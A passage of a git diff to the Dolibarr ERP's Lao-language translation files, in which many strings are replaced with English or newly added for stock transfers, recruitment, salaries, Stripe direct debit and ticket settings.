      LatestProjects=ໂຄງການ %s ຫຼ້າສຸດ LatestModifiedProjects=ໂຄງການດັດແກ້ຫຼ້າສຸດ %s OtherFilteredTasks=ໜ້າ ວຽກອື່ນທີ່ກັ່ນຕອງແລ້ວ @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=ກໍາໄລແມ່ນຄິດໄລ່ໂດຍນ AddPersonToTask=ເພີ່ມໃສ່ ໜ້າ ວຽກ ນຳ UsageOrganizeEvent=ການນໍາໃຊ້: ອົງການຈັດຕັ້ງເຫດການ PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=ຈັດປະເພດໂຄງການເປັນປິດເມື່ອວຽກທັງareົດຂອງມັນສໍາເລັດ (ຄວາມຄືບ ໜ້າ 100%%) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Noteາຍເຫດ: ໂຄງການທີ່ມີຢູ່ແລ້ວກັບທຸກ ໜ້າ ວຽກຢູ່ທີ່ຄວາມຄືບ ໜ້າ 100%% ຈະບໍ່ໄດ້ຮັບຜົນກະທົບ: ເຈົ້າຈະຕ້ອງປິດພວກມັນດ້ວຍຕົນເອງ. ຕົວເລືອກນີ້ມີຜົນກັບໂຄງການເປີດເທົ່ານັ້ນ. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=ເລືອກແຖວທີ່ໃຊ້ເວລາທີ່ຍັງບໍ່ໄດ້ຮຽກເກັບເງິນ, ຈາກນັ້ນປະຕິບັດຫຼາຍ bulk ອັນ "ສ້າງໃບແຈ້ງ ໜີ້" ເພື່ອເກັບເງິນເຂົາເຈົ້າ ProjectTasksWithoutTimeSpent=Project tasks without time spent FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. diff --git a/htdocs/langs/lo_LA/recruitment.lang b/htdocs/langs/lo_LA/recruitment.lang index 2e197326a74..ef064760a7e 100644 --- a/htdocs/langs/lo_LA/recruitment.lang +++ b/htdocs/langs/lo_LA/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=ນາຍຈ້າງອີເມລ ToUseAGenericEmail=ເພື່ອໃຊ້ອີເມວທົ່ວໄປ. ຖ້າບໍ່ໄດ້ລະບຸ, ອີເມລ of ຂອງຜູ້ຮັບຜິດຊອບການຮັບສະັກພະນັກງານຈະຖືກນໍາໃຊ້ NewCandidature=ຄໍາຮ້ອງສະຫມັກໃຫມ່ ListOfCandidatures=ລາຍການຄໍາຮ້ອງສະຫມັກ -RequestedRemuneration=ຮ້ອງຂໍຄ່າຕອບແທນ -ProposedRemuneration=ສະ ເໜີ ຄ່າຕອບແທນ +Remuneration=Salary +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=ສັນຍາສະ ເໜີ ContractSigned=ເຊັນສັນຍາແລ້ວ ContractRefused=ສັນຍາຖືກປະຕິເສດ RecruitmentCandidature=ຄໍາຮ້ອງສະຫມັກ JobPositions=ຕຳ ແໜ່ງ ວຽກ RecruitmentCandidatures=ຄໍາຮ້ອງສະຫມັກ -InterviewToDo=ສໍາພາດເພື່ອເຮັດ +InterviewToDo=Contacts to follow AnswerCandidature=ຄໍາຕອບຄໍາຮ້ອງສະຫມັກ YourCandidature=ຄໍາຮ້ອງສະຫມັກຂອງທ່ານ YourCandidatureAnswerMessage=ຂອບໃຈສໍາລັບຄໍາຮ້ອງສະຫມັກຂອງເຈົ້າ.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=ຕຳ ແໜ່ງ ວຽກຖືກປິດ. ExtrafieldsJobPosition=ຄຸນສົມບັດເພີ່ມເຕີມ (ຕຳ ແໜ່ງ ວຽກ) ExtrafieldsApplication=ຄຸນລັກສະນະເສີມ (ການສະjobັກວຽກ) MakeOffer=ສະ ເໜີ ໃຫ້ +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/lo_LA/salaries.lang b/htdocs/langs/lo_LA/salaries.lang index df3f50975f0..9c93fbb7d17 100644 --- a/htdocs/langs/lo_LA/salaries.lang +++ b/htdocs/langs/lo_LA/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=ບັນຊີບັນຊີທີ່ໃຊ້ສໍາລັບຜູ້ໃຊ້ພາກສ່ວນທີສາມ -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=ບັນຊີການບັນຊີສະເພາະທີ່ໄດ້ກໍານົດໄວ້ໃນບັດຜູ້ໃຊ້ຈະຖືກນໍາໃຊ້ສໍາລັບບັນຊີ Subledger ເທົ່ານັ້ນ. ອັນນີ້ຈະຖືກໃຊ້ສໍາລັບບັນຊີແຍກປະເພດທົ່ວໄປແລະເປັນຄ່າເລີ່ມຕົ້ນຂອງບັນຊີ Subledger ຖ້າບັນຊີບັນຊີຜູ້ໃຊ້ສະເພາະຢູ່ໃນຜູ້ໃຊ້ບໍ່ໄດ້ກໍານົດໄວ້. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=ບັນຊີບັນຊີໂດຍຄ່າເລີ່ມຕົ້ນສໍາລັບການຈ່າຍເງິນຄ່າຈ້າງ CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=ໂດຍຄ່າເລີ່ມຕົ້ນ, ປ່ອຍໃຫ້ທາງເລືອກຫວ່າງເປົ່າ "ສ້າງການຊໍາລະທັງaticallyົດໂດຍອັດຕະໂນມັດ" ເມື່ອສ້າງເງິນເດືອນ Salary=ເງິນເດືອນ @@ -24,3 +24,4 @@ SalariesStatistics=ສະຖິຕິເງິນເດືອນ SalariesAndPayments=ເງິນເດືອນແລະການຈ່າຍເງິນ ConfirmDeleteSalaryPayment=ເຈົ້າຕ້ອງການລຶບການຈ່າຍເງິນເດືອນນີ້ບໍ? FillFieldFirst=Fill employee field first +UpdateAmountWithLastSalary=Set amount with last salary diff --git a/htdocs/langs/lo_LA/stocks.lang b/htdocs/langs/lo_LA/stocks.lang index c452655f2fc..42f42b2e45f 100644 --- a/htdocs/langs/lo_LA/stocks.lang +++ b/htdocs/langs/lo_LA/stocks.lang @@ -24,6 +24,7 @@ StockAtDateInFuture=ວັນທີໃນອະນາຄົດ StocksByLotSerial=ຫຼັກຊັບຕາມຈໍານວນ/ລໍາດັບ LotSerial=ຈໍານວນຫລາຍ/ລໍາດັບ LotSerialList=ບັນຊີລາຍຊື່ຂອງຫຼາຍ/serials +SubjectToLotSerialOnly=Products subject to lot/serial only Movements=ການເຄື່ອນໄຫວ ErrorWarehouseRefRequired=ຕ້ອງລະບຸຊື່ການອ້າງອີງສາງ ListOfWarehouses=ລາຍການສາງ @@ -48,7 +49,7 @@ StockCorrection=ການແກ້ໄຂຫຼັກຊັບ CorrectStock=ຫຼັກຊັບທີ່ຖືກຕ້ອງ StockTransfer=ການໂອນຫຸ້ນ TransferStock=ໂອນຫຸ້ນ -MassStockTransferShort=ການໂອນຫຸ້ນມະຫາຊົນ +MassStockTransferShort=Bulk stock change StockMovement=ການເຄື່ອນໄຫວຫຼັກຊັບ StockMovements=ການເຄື່ອນໄຫວຂອງຫຼັກຊັບ NumberOfUnit=ຈຳ ນວນຫົວ ໜ່ວຍ @@ -146,8 +147,9 @@ Replenishments=ການເຕີມເຕັມ NbOfProductBeforePeriod=ປະລິມານຂອງຜະລິດຕະພັນ %s ຢູ່ໃນຫຼັກຊັບກ່ອນໄລຍະເວລາທີ່ເລືອກ (<%s) NbOfProductAfterPeriod=ປະລິມານຂອງຜະລິດຕະພັນ %s ໃນຫຼັກຊັບຫຼັງຈາກໄລຍະເວລາທີ່ເລືອກ (> %s) MassMovement=ການເຄື່ອນໄຫວຂອງມະຫາຊົນ -SelectProductInAndOutWareHouse=ເລືອກສາງແຫຼ່ງທີ່ມາແລະສາງເປົ້າ,າຍ, ຜະລິດຕະພັນແລະປະລິມານຈາກນັ້ນຄລິກ "%s". ເມື່ອສິ່ງນີ້ ສຳ ເລັດ ສຳ ລັບການເຄື່ອນໄຫວທີ່ຕ້ອງການທັງ,ົດ, ຄລິກທີ່ "%s". +SelectProductInAndOutWareHouse=Select a source warehouse (optional), a target warehouse, a product and a quantity then click "%s". Once this is done for all required movements, click on "%s". RecordMovement=ບັນທຶກການໂອນ +RecordMovements=Record stock movements ReceivingForSameOrder=ໃບຮັບເງິນສໍາລັບຄໍາສັ່ງນີ້ StockMovementRecorded=ບັນທຶກການເຄື່ອນໄຫວຂອງຮຸ້ນ RuleForStockAvailability=ກົດລະບຽບກ່ຽວກັບຄວາມຕ້ອງການຫຼັກຊັບ @@ -176,7 +178,7 @@ ProductStockWarehouseCreated=ຂີດຈໍາກັດຫຼັກຊັບສ ProductStockWarehouseUpdated=ຂີດຈໍາກັດຫຼັກຊັບສໍາລັບການແຈ້ງເຕືອນແລະຕ້ອງການຫຼັກຊັບທີ່ດີທີ່ສຸດປັບປຸງໃຫ້ຖືກຕ້ອງ ProductStockWarehouseDeleted=ຂີດຈໍາກັດຫຼັກຊັບສໍາລັບການແຈ້ງເຕືອນແລະຕ້ອງການຫຼັກຊັບທີ່ດີທີ່ສຸດຖືກລຶບອອກຢ່າງຖືກຕ້ອງ AddNewProductStockWarehouse=ກໍານົດຂອບເຂດຈໍາກັດໃຫມ່ສໍາລັບການແຈ້ງເຕືອນແລະຕ້ອງການຫຼັກຊັບທີ່ດີທີ່ສຸດ -AddStockLocationLine=ຫຼຸດປະລິມານລົງຈາກນັ້ນຄລິກເພື່ອເພີ່ມສາງອື່ນສໍາລັບຜະລິດຕະພັນນີ້ +AddStockLocationLine=Decrease quantity then click to split the line InventoryDate=ວັນທີສິນຄ້າຄົງຄັງ Inventories=Inventories NewInventory=ສິນຄ້າຄົງຄັງໃຫມ່ @@ -234,7 +236,7 @@ StockIncrease=ຫຼັກຊັບເພີ່ມຂຶ້ນ StockDecrease=ຫຼັກຊັບຫຼຸດລົງ InventoryForASpecificWarehouse=ສິນຄ້າຄົງຄັງສໍາລັບສາງສະເພາະ InventoryForASpecificProduct=ສິນຄ້າຄົງຄັງສໍາລັບຜະລິດຕະພັນສະເພາະ -StockIsRequiredToChooseWhichLotToUse=ຕ້ອງມີຫຼັກຊັບເພື່ອເລືອກວ່າຈະໃຊ້ອັນໃດ +StockIsRequiredToChooseWhichLotToUse=An existing stock is required to be able to choose which lot to use ForceTo=ບັງຄັບໃຫ້ AlwaysShowFullArbo=ສະແດງຕົ້ນໄມ້ເຕັມສາງຢູ່ໃນປັອບອັບຂອງການເຊື່ອມຕໍ່ສາງ (ຄຳ ເຕືອນ: ອັນນີ້ອາດຈະຫຼຸດລົງຢ່າງຫຼວງຫຼາຍ) StockAtDatePastDesc=ເຈົ້າສາມາດເບິ່ງຫຼັກຊັບ (ຫຼັກຊັບຕົວຈິງ) ຢູ່ທີ່ນີ້ໃນວັນເວລາທີ່ຜ່ານມາ @@ -254,7 +256,7 @@ ReOpen=ເປີດຄືນໃ່ ConfirmFinish=ເຈົ້າຢືນຢັນການປິດສາງບໍ? ອັນນີ້ຈະສ້າງການເຄື່ອນໄຫວຫຼັກຊັບທັງtoົດເພື່ອອັບເດດຫຼັກຊັບຂອງເຈົ້າໃຫ້ເປັນຈໍານວນຕົວຈິງທີ່ເຈົ້າໄດ້ເຂົ້າໄປໃນສາງ. ObjectNotFound=ບໍ່ພົບ %s MakeMovementsAndClose=ສ້າງການເຄື່ອນໄຫວແລະປິດ -AutofillWithExpected=Replace real quantity with expected quantity +AutofillWithExpected=Fill real quantity with expected quantity ShowAllBatchByDefault=ຕາມຄ່າເລີ່ມຕົ້ນ, ສະແດງລາຍລະອຽດເປັນຊຸດຢູ່ໃນແຖບ "ຫຼັກຊັບ" ຂອງຜະລິດຕະພັນ CollapseBatchDetailHelp=ເຈົ້າສາມາດ ກຳ ນົດການສະແດງລາຍລະອຽດເປັນຊຸດໃນການຕັ້ງຄ່າໂມດູນຫຼັກຊັບ ErrorWrongBarcodemode=ບໍ່ຮູ້ຈັກໂmodeດບາໂຄດ @@ -265,9 +267,53 @@ ProductBarcodeDoesNotExist=ບໍ່ມີຜະລິດຕະພັນທີ WarehouseId=Warehouse ID WarehouseRef=Warehouse Ref SaveQtyFirst=Save the real inventoried quantities first, before asking creation of the stock movement. +ToStart=Start InventoryStartedShort=Started ErrorOnElementsInventory=Operation canceled for the following reason: ErrorCantFindCodeInInventory=Can't find the following code in inventory QtyWasAddedToTheScannedBarcode=Success !! The quantity was added to all the requested barcode. You can close the Scanner tool. -StockChangeDisabled=Change on stock disabled +StockChangeDisabled=Stock change disabled NoWarehouseDefinedForTerminal=No warehouse defined for terminal +ClearQtys=Clear all quantities +ModuleStockTransferName=Advanced Stock Transfer +ModuleStockTransferDesc=Advanced management of Stock Transfer, with generation of transfer sheet +StockTransferNew=New stock transfer +StockTransferList=Stock transfers list +ConfirmValidateStockTransfer=Are you sure you want to validate this stocks transfer with reference %s ? +ConfirmDestock=Decrease of stocks with transfer %s +ConfirmDestockCancel=Cancel decrease of stocks with transfer %s +DestockAllProduct=Decrease of stocks +DestockAllProductCancel=Cancel decrease of stocks +ConfirmAddStock=Increase stocks with transfer %s +ConfirmAddStockCancel=Cancel increase of stocks with transfer %s +AddStockAllProduct=Increase of stocks +AddStockAllProductCancel=Cancel increase of stocks +DatePrevueDepart=Intended date of departure +DateReelleDepart=Real date of departure +DatePrevueArrivee=Intended date of arrival +DateReelleArrivee=Real date of arrival +HelpWarehouseStockTransferSource=If this warehouse is set, only itself and its children will be available as source warehouse +HelpWarehouseStockTransferDestination=If this warehouse is set, only itself and its children will be available as destination warehouse +LeadTimeForWarning=Lead time before alert (in days) +TypeContact_stocktransfer_internal_STFROM=Sender of stocks transfer +TypeContact_stocktransfer_internal_STDEST=Recipient of stocks transfer +TypeContact_stocktransfer_internal_STRESP=Responsible of stocks transfer +StockTransferSheet=Stocks transfer sheet +StockTransferSheetProforma=Proforma stocks transfer sheet +StockTransferDecrementation=Decrease source warehouses +StockTransferIncrementation=Increase destination warehouses +StockTransferDecrementationCancel=Cancel decrease of source warehouses +StockTransferIncrementationCancel=Cancel increase of destination warehouses +StockStransferDecremented=Source warehouses decreased +StockStransferDecrementedCancel=Decrease of source warehouses canceled +StockStransferIncremented=Closed - Stocks transfered +StockStransferIncrementedShort=Stocks transfered +StockStransferIncrementedShortCancel=Increase of destination warehouses canceled +StockTransferNoBatchForProduct=Product %s doesn't use batch, clear batch on line and retry +StockTransferSetup = Stocks Transfer module configuration +Settings=Settings +StockTransferSetupPage = Configuration page for stocks transfer module +StockTransferRightRead=Read stocks transfers +StockTransferRightCreateUpdate=Create/Update stocks transfers +StockTransferRightDelete=Delete stocks transfers +BatchNotFound=Lot / serial not found for this product diff --git a/htdocs/langs/lo_LA/stripe.lang b/htdocs/langs/lo_LA/stripe.lang index 7db1270b5f0..f873d7ff8c7 100644 --- a/htdocs/langs/lo_LA/stripe.lang +++ b/htdocs/langs/lo_LA/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=ກະແຈສົດຂອງ Webhook ONLINE_PAYMENT_WAREHOUSE=ຫຼັກຊັບທີ່ຈະນໍາໃຊ້ສໍາລັບການຫຼຸດລົງຫຼັກຊັບໃນເວລາທີ່ການຊໍາລະເງິນອອນໄລນ done ໄດ້ຖືກເຮັດໄດ້
      (TODO ໃນເວລາທີ່ທາງເລືອກທີ່ຈະຫຼຸດລົງຫຼັກຊັບແມ່ນເຮັດໄດ້ໃນການດໍາເນີນການກ່ຽວກັບໃບເກັບເງິນແລະການຊໍາລະອອນໄລນ generate ສ້າງຕົວມັນເອງໃບແຈ້ງຫນີ້? StripeLiveEnabled=ເປີດໃຊ້ງານ Stripe live (ບໍ່ດັ່ງນັ້ນທົດສອບ/ໂsandດ sandbox) StripeImportPayment=ນຳ ເຂົ້າການຈ່າຍເງິນ Stripe -ExampleOfTestCreditCard=ຕົວຢ່າງຂອງບັດເຄຣດິດສໍາລັບການທົດສອບ: %s => ຖືກຕ້ອງ, %s => ຜິດພາດ CVC, %s => iredົດອາຍຸ, %s => ເກັບເງິນບໍ່ສໍາເລັດ +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=ປະຕູເສັ້ນດ່າງ OAUTH_STRIPE_TEST_ID=Stripe Connect Client ID (ca _... ) OAUTH_STRIPE_LIVE_ID=Stripe Connect Client ID (ca _... ) @@ -61,6 +62,7 @@ DeleteACard=ລຶບບັດ ConfirmDeleteCard=ເຈົ້າແນ່ໃຈບໍວ່າເຈົ້າຕ້ອງການລຶບບັດເຄຣດິດຫຼືເດບິດນີ້? CreateCustomerOnStripe=ສ້າງລູກຄ້າໃນ Stripe CreateCardOnStripe=ສ້າງບັດໃນ Stripe +CreateBANOnStripe=Create bank on Stripe ShowInStripe=ສະແດງໃນ Stripe StripeUserAccountForActions=ບັນຊີຜູ້ໃຊ້ເພື່ອໃຊ້ສໍາລັບການແຈ້ງເຕືອນທາງອີເມລ events ຂອງບາງເຫດການ Stripe (ການຈ່າຍເງິນ Stripe) StripePayoutList=ລາຍຊື່ການຈ່າຍເງິນ Stripe @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=ເຊື່ອມຕໍ່ກັບການຕິ PaymentWillBeRecordedForNextPeriod=ການຊໍາລະຈະຖືກບັນທຶກໄວ້ໃນງວດຕໍ່ໄປ. ClickHereToTryAgain= ຄລິກທີ່ນີ້ເພື່ອລອງອີກຄັ້ງ ... CreationOfPaymentModeMustBeDoneFromStripeInterface=ເນື່ອງຈາກກົດລະບຽບການກວດສອບຄວາມຖືກຕ້ອງຂອງລູກຄ້າເຂັ້ມແຂງ, ການສ້າງບັດຕ້ອງເຮັດຈາກສະຖາບັນ Stripe backoffice. ເຈົ້າສາມາດຄລິກທີ່ນີ້ເພື່ອສະຫຼັບກັບບັນທຶກລູກຄ້າ Stripe: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/lo_LA/ticket.lang b/htdocs/langs/lo_LA/ticket.lang index 0d495975fcc..ecb307245ca 100644 --- a/htdocs/langs/lo_LA/ticket.lang +++ b/htdocs/langs/lo_LA/ticket.lang @@ -26,7 +26,9 @@ Permission56002=ແກ້ໄຂປີ້ Permission56003=ລຶບປີ້ Permission56004=ຈັດການປີ້ Permission56005=ເບິ່ງປີ້ຂອງພາກສ່ວນທີສາມທັງ(ົດ (ບໍ່ມີປະສິດທິພາບສໍາລັບຜູ້ໃຊ້ພາຍນອກ, ຈໍາກັດສະເພາະກັບບຸກຄົນທີສາມທີ່ພວກເຂົາຂຶ້ນກັບ) +Permission56006=Export tickets +Tickets=Tickets TicketDictType=ປີ້ - ປະເພດ TicketDictCategory=ປີ້ - ກຸ່ມ TicketDictSeverity=ປີ້ - ຄວາມຮຸນແຮງ @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=ຜູ້ປະກອບສ່ວນພ OriginEmail=ອີເມລ orter ຂອງນັກຂ່າວ Notify_TICKET_SENTBYMAIL=ສົ່ງຂໍ້ຄວາມປີ້ທາງອີເມລ +ExportDataset_ticket_1=Tickets + # Status Read=ອ່ານ Assigned=ມອບາຍ @@ -90,8 +94,8 @@ TicketPublicAccess=ສ່ວນຕິດຕໍ່ສາທາລະນະທີ TicketSetupDictionaries=ປະເພດຂອງປີ້, ຄວາມຮຸນແຮງແລະລະຫັດການວິເຄາະແມ່ນສາມາດຕັ້ງຄ່າໄດ້ຈາກວັດຈະນານຸກົມ TicketParamModule=ການຕັ້ງຄ່າຕົວປ່ຽນໂມດູນ TicketParamMail=ການຕັ້ງອີເມລ -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=ຂໍ້ຄວາມໄດ້ຖືກສົ່ງຫຼັງຈາກການສ້າງປີ້ @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=ຂໍ້ຄວາມທີ່ລະບຸຢູ່ທີ TicketParamPublicInterface=ຕັ້ງຄ່າສ່ວນຕິດຕໍ່ຜູ້ໃຊ້ສາທາລະນະ TicketsEmailMustExist=ຕ້ອງການທີ່ຢູ່ອີເມວທີ່ມີຢູ່ແລ້ວເພື່ອສ້າງປີ້ TicketsEmailMustExistHelp=ຢູ່ໃນບ່ອນຕິດຕໍ່ສາທາລະນະ, ທີ່ຢູ່ອີເມວຄວນຈະຖືກຕື່ມໃສ່ໃນຖານຂໍ້ມູນເພື່ອສ້າງປີ້ໃnew່. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=ການໂຕ້ຕອບສາທາລະນະ TicketUrlPublicInterfaceLabelAdmin=URL ທາງເລືອກ ສຳ ລັບສ່ວນຕິດຕໍ່ສາທາລະນະ TicketUrlPublicInterfaceHelpAdmin=ມັນເປັນໄປໄດ້ທີ່ຈະກໍານົດນາມແງໃຫ້ກັບເຄື່ອງແມ່ຂ່າຍເວັບແລະດັ່ງນັ້ນຈຶ່ງເຮັດໃຫ້ມີການໂຕ້ຕອບສາທາລະນະກັບ URL ອື່ນ (ເຊີບເວີຕ້ອງເຮັດ ໜ້າ ທີ່ເປັນຕົວແທນໃນ URL ໃthis່ນີ້) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -178,7 +186,7 @@ CreatedBy=ສ້າງ​ໂດຍ NewTicket=ປີ້ໃ່ SubjectAnswerToTicket=ຄຳ ຕອບປີ້ TicketTypeRequest=ປະເພດການຮ້ອງຂໍ -TicketCategory=ການຈັດປະເພດປີ້ +TicketCategory=Ticket group SeeTicket=ເບິ່ງປີ້ TicketMarkedAsRead=ປີ້ຖືກmarkedາຍວ່າອ່ານແລ້ວ TicketReadOn=ອ່ານສຸດ @@ -190,8 +198,7 @@ TicketAssigned=ຕອນນີ້ໄດ້ມອບicketາຍປີ້ແລ້ TicketChangeType=ປ່ຽນປະເພດ TicketChangeCategory=ປ່ຽນລະຫັດການວິເຄາະ TicketChangeSeverity=ປ່ຽນຄວາມຮຸນແຮງ -TicketAddMessage=ເພີ່ມຂໍ້ຄວາມ -AddMessage=ເພີ່ມຂໍ້ຄວາມ +TicketAddMessage=Add private message MessageSuccessfullyAdded=ເພີ່ມປີ້ແລ້ວ TicketMessageSuccessfullyAdded=ເພີ່ມຂໍ້ຄວາມ ສຳ ເລັດແລ້ວ TicketMessagesList=ລາຍການຂໍ້ຄວາມ @@ -202,8 +209,8 @@ TicketSeverity=ຄວາມຮຸນແຮງ ShowTicket=ເບິ່ງປີ້ RelatedTickets=ປີ້ທີ່ກ່ຽວຂ້ອງ TicketAddIntervention=ສ້າງການແຊກແຊງ -CloseTicket=ປິດ | ແກ້ປີ້ -AbandonTicket=ປະຖິ້ມປີ້ +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=ປິດ | ແກ້ປີ້ ConfirmCloseAticket=ຢືນຢັນການປິດປີ້ ConfirmAbandonTicket=ເຈົ້າຢືນຢັນການປິດປີ້ເຂົ້າສູ່ສະຖານະ 'ປະຖິ້ມ' @@ -217,18 +224,17 @@ SendMessageByEmail=ສົ່ງຂໍ້ຄວາມທາງອີເມລ TicketNewMessage=ຂໍ້ຄວາມໃ່ ErrorMailRecipientIsEmptyForSendTicketMessage=ຜູ້ຮັບບໍ່ຫວ່າງ. ບໍ່ມີອີເມວສົ່ງ TicketGoIntoContactTab=ກະລຸນາເຂົ້າໄປທີ່ແຖບ "ລາຍຊື່ຜູ້ຕິດຕໍ່" ເພື່ອເລືອກພວກມັນ -TicketMessageMailIntro=ການນໍາສະເຫນີ +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=ຂໍ້ຄວາມນີ້ຖືກເພີ່ມໃສ່ແຕ່ຕອນຕົ້ນຂອງອີເມວແລະຈະບໍ່ຖືກບັນທຶກໄວ້. -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=ລາຍເຊັນ -TicketMessageMailSignatureHelp=ຂໍ້ຄວາມນີ້ຖືກເພີ່ມເຂົ້າໄປໃນທ້າຍອີເມວເທົ່ານັ້ນແລະຈະບໍ່ຖືກບັນທຶກໄວ້. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=ລາຍເຊັນອີເມວຕອບກັບ -TicketMessageMailSignatureHelpAdmin=ຂໍ້ຄວາມນີ້ຈະຖືກແຊກໃສ່ຫຼັງຈາກຂໍ້ຄວາມຕອບກັບ. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=ສະເພາະຂໍ້ຄວາມນີ້ຈະຖືກບັນທຶກໄວ້ໃນລາຍການຂໍ້ຄວາມຢູ່ໃນບັດປີ້. TicketMessageSubstitutionReplacedByGenericValues=ຕົວປ່ຽນການປ່ຽນແທນໄດ້ຖືກແທນທີ່ດ້ວຍຄຸນຄ່າທົ່ວໄປ. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=ເວລາຜ່ານໄປຕັ້ງແຕ່ TicketTimeToRead=ເວລາໄດ້ຜ່ານໄປກ່ອນທີ່ຈະອ່ານ TicketTimeElapsedBeforeSince=ເວລາຜ່ານໄປກ່ອນ / ນັບຕັ້ງແຕ່ @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=ຂໍ້ຄວາມໃwas່ໄດ TicketAssignedToYou=ມອບicketາຍປີ້ແລ້ວ TicketAssignedEmailBody=ເຈົ້າໄດ້ຮັບມອບtheາຍປີ້ #%s ໂດຍ %s MarkMessageAsPrivate=messageາຍຂໍ້ຄວາມເປັນສ່ວນຕົວ +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=ຂໍ້ຄວາມນີ້ຈະບໍ່ສະແດງໃຫ້ຜູ້ໃຊ້ພາຍນອກເຫັນ TicketEmailOriginIssuer=ຜູ້ອອກແຫຼ່ງທີ່ມາຂອງປີ້ InitialMessage=ຂໍ້ຄວາມເບື້ອງຕົ້ນ @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=ເຈົ້າສາມາດເບິ TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=ກະລຸນາຢ່າຕອບກັບອີເມລ directly ນີ້ໂດຍກົງ! ໃຊ້ຕົວເຊື່ອມຕໍ່ເພື່ອຕອບກັບເຂົ້າໄປໃນອິນເຕີເຟດ. TicketPublicInfoCreateTicket=ແບບຟອມນີ້ອະນຸຍາດໃຫ້ເຈົ້າບັນທຶກປີ້ສະ ໜັບ ສະ ໜູນ ໃນລະບົບການຈັດການຂອງພວກເຮົາ. -TicketPublicPleaseBeAccuratelyDescribe=ກະລຸນາອະທິບາຍບັນຫາໃຫ້ຖືກຕ້ອງ. ໃຫ້ຂໍ້ມູນຫຼາຍທີ່ສຸດເທົ່າທີ່ເປັນໄປໄດ້ເພື່ອອະນຸຍາດໃຫ້ພວກເຮົາລະບຸການຮ້ອງຂໍຂອງເຈົ້າໄດ້ຢ່າງຖືກຕ້ອງ. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=ກະລຸນາໃສ່ ID ຕິດຕາມປີ້ TicketTrackId=ID ຕິດຕາມສາທາລະນະ OneOfTicketTrackId=ຫນຶ່ງໃນ ID ຕິດຕາມຂອງເຈົ້າ diff --git a/htdocs/langs/lo_LA/users.lang b/htdocs/langs/lo_LA/users.lang index 2308fec58ae..c6689817162 100644 --- a/htdocs/langs/lo_LA/users.lang +++ 